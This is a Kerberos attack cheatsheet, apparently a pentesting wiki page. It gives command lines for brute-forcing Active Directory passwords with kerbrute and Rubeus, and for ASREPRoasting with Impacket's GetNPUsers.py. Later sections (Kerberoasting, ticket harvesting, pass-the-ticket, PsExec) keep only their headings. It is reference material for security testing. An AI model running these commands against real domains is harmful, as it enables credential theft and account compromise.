Edit

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>

ASREPRoast

With Impacket example GetNPUsers.py:

# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
python3 GetNPUsers.py COMPANY.local/james:Password123 -request -format john -outputfile /home/ubuntu/Documents/file/dir/asrep.out -dc-ip 172.16.1.20

# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

  • attempt with no password

  • Attempt with a userlist of potentially valid users

With Rubeus:

Cracking with dictionary of passwords:

SPN Service Principal Name Overview

  • The structure of an SPN consists of three (3) main parts: Service Class: the service type, i.e., SQL, Web, Exchange, File, etc., and the Host where the service is usually running in the format of FQDN (Fully Qualified Domain Name)and port number.

  • For example, below, the Microsoft SQL service runs on the dcorp-mgmt host on port 1443.

    The SPN is MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local:1433

Kerberoasting

With Impacket example GetUserSPNs.py:

📌HackTricks Tip: If you find this error from Linux: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) it because of your local time, you need to synchronize the host with the DC: ntpdate <IP of DC>

With Rubeus:

With Powershell:

  • Can also acomplish this in native powershell if you have a session

Cracking with dictionary of passwords:

With Invoke-Mimikatz.ps1

Harvest tickets from Windows

With Mimikatz:

With Rubeus in Powershell:

To convert tickets between Linux/Windows format with ticket_converter.py:

Using ticket in Linux:

With Impacket examples:

Using ticket in Windows

Inject ticket with Mimikatz:

Inject ticket with Rubeus:

Execute a cmd in the remote machine with PsExec:

Misc

To get NTLM from password:

Tools

PreviousImpacket-installNextDomain Controllers

Last updated